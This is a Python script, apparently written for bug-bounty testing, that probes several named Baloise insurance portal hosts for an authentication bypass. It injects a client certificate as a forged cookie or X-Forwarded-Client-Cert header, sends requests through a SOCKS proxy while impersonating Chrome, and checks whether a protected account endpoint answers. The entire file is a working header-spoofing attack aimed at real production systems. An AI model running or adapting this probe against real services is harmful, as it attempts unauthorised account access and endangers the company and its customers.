from curl_cffi import requests
from urllib.parse import quote
import json,time
pem=open('work/scratch/certprobe/cert.pem').read(); enc=quote(pem,safe='')
proxy='socks5h://127.0.0.1:1090'; ident={'X-Bug-Bounty':'dwbzn'}
for host,port in [('infoportal.baloise.de',4401),('infoportal.baloise.de',8443),('maklerportal.baloise.de',4401),('mein-portal.baloise.de',4401)]:
 base=f'https://{host}:{port}/auth'
 for name,cookies,extra in [
   ('control',{},{}),
   ('env-cookie',{'AL_ENV_SSL_CLIENT_CERT':enc},{}),
   ('xfcc',{}, {'X-Forwarded-Client-Cert':enc}),
 ]:
  try:
   s=requests.Session(impersonate='chrome',proxy=proxy)
   r0=s.get(base+'/ui/app',headers=ident,allow_redirects=False,timeout=25)
   for k,v in cookies.items(): s.cookies.set(k,v,domain='.baloise.de',path='/')
   h={**ident,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Accept':'application/json,application/vnd.api+json',**extra}
   r=s.get(base+'/rest/protected/my/self',headers=h,allow_redirects=False,timeout=25)
   print(json.dumps({'host':host,'port':port,'name':name,'init':r0.status_code,'cookies':list(s.cookies.keys()),'status':r.status_code,'len':len(r.content),'www':r.headers.get('WWW-Authenticate'),'loc':r.headers.get('Location'),'exchange':getattr(r,'toadex_exchange_id',None),'body':r.text[:180]},ensure_ascii=False),flush=True)
  except Exception as e: print(json.dumps({'host':host,'port':port,'name':name,'error':repr(e)}),flush=True)
  time.sleep(.5)
